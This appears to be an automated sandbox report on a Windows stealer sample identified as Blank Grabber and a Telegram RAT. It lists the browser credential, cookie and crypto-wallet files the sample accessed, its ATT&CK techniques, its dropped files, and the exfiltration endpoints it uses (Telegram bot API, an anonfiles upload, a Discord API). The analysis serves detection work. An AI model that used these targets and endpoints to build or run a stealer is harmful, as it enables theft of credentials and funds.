Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\57328c1e-640f-4b62-a5a0-06d479b676c2	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\2cb4572a-4cab-4e12-9740-762c0a50285f	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\e8d04e65-de13-4e7d-b232-291855cace25	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file_0.indexeddb.leveldb	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior

Source: Yara match	File source: 00000004.00000002.2887094971.0000000007680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: KpHYfxnJs6.exe PID: 7732, type: MEMORYSTR

Remote Access Functionality

Yara detected Blank Grabber

Source: Yara match	File source: 00000004.00000003.2878432052.000000000838F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2886083384.0000000007480000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2051169917.00000000050F4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2051169917.00000000050F6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2887094971.0000000007680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2478525304.0000000007540000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: KpHYfxnJs6.exe PID: 7320, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: KpHYfxnJs6.exe PID: 7732, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI73202\rarreg.key, type: DROPPED

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: KpHYfxnJs6.exe PID: 7732, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	241 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 File and Directory Permissions Modification	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	22 Command and Scripting Interpreter	2 Registry Run Keys / Startup Folder	1 Access Token Manipulation	4 Disable or Modify Tools	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	3 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	1 System Shutdown/Reboot
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	Logon Script (Windows)	11 Process Injection	11 Deobfuscate/Decode Files or Information	Security Account Manager	49 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Registry Run Keys / Startup Folder	31 Obfuscated Files or Information	NTDS	771 Security Software Discovery	Distributed Component Object Model	1 Clipboard Data	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	21 Software Packing	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	461 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	11 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	461 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	11 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	11 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
KpHYfxnJs6.exe	43%	Virustotal		Browse
KpHYfxnJs6.exe	42%	ReversingLabs	Win32.Ransomware.BlankGrabber
KpHYfxnJs6.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\_MEI73202\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73202\_bz2.pyd	5%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73202\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73202\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73202\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73202\_lzma.pyd	5%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73202\_queue.pyd	5%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73202\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73202\_sqlite3.pyd	5%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73202\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73202\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73202\libffi-8.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73202\libssl-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73202\python311.dll	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73202\select.pyd	5%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73202\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73202\unicodedata.pyd	0%	ReversingLabs

Name	IP	Active	Malicious
bg.microsoft.map.fastly.net	199.232.210.172	true	false
discord.com	162.159.137.232	true	false
ip-api.com	208.95.112.1	true	true
blank-whj1o.in	unknown	unknown	false

URLs from Memory and Binaries

Name	Source	Malicious
https://duckduckgo.com/chrome_newtab	KpHYfxnJs6.exe, 00000004.00000003.2742616190.0000000007D7A000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/Blank-c/BlankOBF	KpHYfxnJs6.exe, 00000004.00000003.2477253550.000000000751C000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2476955090.00000000076D7000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2477574891.000000000751C000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2477964059.000000000751C000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2477530638.0000000007560000.00000004.00000020.00020000.00000000.sdmp	false
https://www.avito.ru/	KpHYfxnJs6.exe, 00000004.00000002.2891396339.00000000079D0000.00000004.00001000.00020000.00000000.sdmp	false
https://duckduckgo.com/ac/?q=	KpHYfxnJs6.exe, 00000004.00000003.2742616190.0000000007D7A000.00000004.00000020.00020000.00000000.sdmp	false
https://api.telegram.org/bot	KpHYfxnJs6.exe, 00000004.00000002.2887094971.0000000007680000.00000004.00001000.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2478525304.0000000007540000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/Blank-c/Blank-Grabberi	KpHYfxnJs6.exe, 00000004.00000003.2478525304.0000000007540000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	false
https://www.ctrip.com/	KpHYfxnJs6.exe, 00000004.00000002.2894662678.00000000080D0000.00000004.00001000.00020000.00000000.sdmp	false
https://github.com/Blank-c/Blank-Grabberr	KpHYfxnJs6.exe, 00000004.00000003.2478525304.0000000007540000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	KpHYfxnJs6.exe, 00000004.00000003.2459281802.0000000004E02000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2884068871.0000000004DD5000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459218344.0000000004DE8000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459199277.0000000004E1C000.00000004.00000020.00020000.00000000.sdmp	false
https://www.leboncoin.fr/	KpHYfxnJs6.exe, 00000004.00000002.2894662678.00000000080D0000.00000004.00001000.00020000.00000000.sdmp	false
https://tools.ietf.org/html/rfc2388#section-4.4	KpHYfxnJs6.exe, 00000004.00000003.2484058044.00000000075F6000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2621699329.0000000007607000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2629341619.0000000007607000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2602474054.0000000007605000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2674876245.0000000007606000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2745181563.000000000760B000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2880829085.000000000760D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2598446377.00000000075A4000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2485343382.0000000007616000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2880603625.00000000075B1000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2886692444.0000000007611000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2743181116.00000000075A7000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484414365.00000000075F6000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2744799637.0000000007604000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484992924.0000000007616000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2678320239.0000000007606000.00000004.00000020.00020000.00000000.sdmp	false
https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64	KpHYfxnJs6.exe, 00000004.00000003.2477289912.0000000004E65000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2466905986.0000000004E66000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2475127207.0000000004E65000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2603116149.0000000004E43000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484207815.0000000004E0A000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2476647140.0000000004E65000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2474208164.0000000004E65000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2884329550.0000000004E45000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2881336814.0000000004E43000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484268459.0000000004E67000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484460219.0000000004E68000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2744996096.0000000004E44000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2466344184.0000000004E66000.00000004.00000020.00020000.00000000.sdmp	false
https://weibo.com/	KpHYfxnJs6.exe, 00000004.00000002.2895031022.0000000009770000.00000004.00001000.00020000.00000000.sdmp	false
https://api.anonfiles.com/upload	KpHYfxnJs6.exe, 00000004.00000002.2887094971.0000000007680000.00000004.00001000.00020000.00000000.sdmp	false
https://aka.ms/pscore6lB	powershell.exe, 0000000E.00000002.2538439375.0000000004FD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000046.00000002.2707327914.00000000046F1000.00000004.00000800.00020000.00000000.sdmp	false
https://www.msn.com	KpHYfxnJs6.exe, 00000004.00000003.2679930473.000000000AB50000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2684913468.0000000009830000.00000004.00001000.00020000.00000000.sdmp	false
https://nuget.org/nuget.exe	powershell.exe, 0000000E.00000002.2545646683.0000000006036000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000046.00000002.2729350973.000000000575C000.00000004.00000800.00020000.00000000.sdmp	false
https://discord.com/api/v9/users/	KpHYfxnJs6.exe, 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963	KpHYfxnJs6.exe, 00000004.00000002.2889989783.00000000078A0000.00000004.00001000.00020000.00000000.sdmp	false
https://peps.python.org/pep-0205/	KpHYfxnJs6.exe, 00000004.00000002.2885892588.00000000073C0000.00000004.00001000.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000E.00000002.2538439375.0000000004FD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000046.00000002.2707327914.00000000046F1000.00000004.00000800.00020000.00000000.sdmp	false
http://json.org	KpHYfxnJs6.exe, 00000004.00000002.2885316620.0000000007280000.00000004.00000020.00020000.00000000.sdmp	false
https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename	KpHYfxnJs6.exe, 00000004.00000002.2883936645.0000000004D40000.00000004.00001000.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459281802.0000000004E02000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459218344.0000000004DE8000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459199277.0000000004E1C000.00000004.00000020.00020000.00000000.sdmp	false
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy	KpHYfxnJs6.exe, 00000004.00000003.2616188124.0000000004EA1000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2603116149.0000000004E43000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2891171316.0000000007930000.00000004.00001000.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484460219.0000000004E68000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	KpHYfxnJs6.exe, 00000004.00000002.2884004752.0000000004D80000.00000004.00001000.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459319200.0000000004DEE000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459218344.0000000004DE8000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459199277.0000000004E1C000.00000004.00000020.00020000.00000000.sdmp	false
https://www.ebay.co.uk/	KpHYfxnJs6.exe, 00000004.00000002.2894662678.00000000080D0000.00000004.00001000.00020000.00000000.sdmp	false
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000046.00000002.2707327914.0000000004849000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 0000000E.00000002.2538439375.0000000005126000.00000004.00000800.00020000.00000000.sdmp	false
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000046.00000002.2707327914.0000000004849000.00000004.00000800.00020000.00000000.sdmp	false
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code	KpHYfxnJs6.exe, 00000004.00000002.2884950278.0000000006F80000.00000004.00001000.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459281802.0000000004E02000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459218344.0000000004DE8000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459199277.0000000004E1C000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	KpHYfxnJs6.exe, 00000004.00000003.2459281802.0000000004E02000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2884068871.0000000004DD5000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459218344.0000000004DE8000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459199277.0000000004E1C000.00000004.00000020.00020000.00000000.sdmp	false
https://www.amazon.com/	KpHYfxnJs6.exe, 00000004.00000002.2894662678.00000000080D0000.00000004.00001000.00020000.00000000.sdmp	false
https://contoso.com/Icon	powershell.exe, 00000046.00000002.2729350973.000000000575C000.00000004.00000800.00020000.00000000.sdmp	false
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	KpHYfxnJs6.exe, 00000004.00000003.2742616190.0000000007D7A000.00000004.00000020.00020000.00000000.sdmp	false
https://httpbin.org/	KpHYfxnJs6.exe, 00000004.00000003.2678320239.0000000007606000.00000004.00000020.00020000.00000000.sdmp	false
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	KpHYfxnJs6.exe, 00000000.00000003.2050969892.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	false
http://www.cl.cam.ac.uk/~mgk25/iso-time.html	KpHYfxnJs6.exe, 00000004.00000003.2479999836.0000000007545000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2479725177.00000000075A5000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2479963296.00000000075A5000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2479814100.000000000753E000.00000004.00000020.00020000.00000000.sdmp	false
https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module	KpHYfxnJs6.exe, 00000004.00000002.2884950278.0000000006F80000.00000004.00001000.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459281802.0000000004E02000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459218344.0000000004DE8000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2459199277.0000000004E1C000.00000004.00000020.00020000.00000000.sdmp	false
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	KpHYfxnJs6.exe, 00000004.00000003.2742238801.0000000007B0C000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2891171316.0000000007930000.00000004.00001000.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2742827988.0000000007D4A000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2744888765.0000000007538000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2744505869.0000000007534000.00000004.00000020.00020000.00000000.sdmp	false
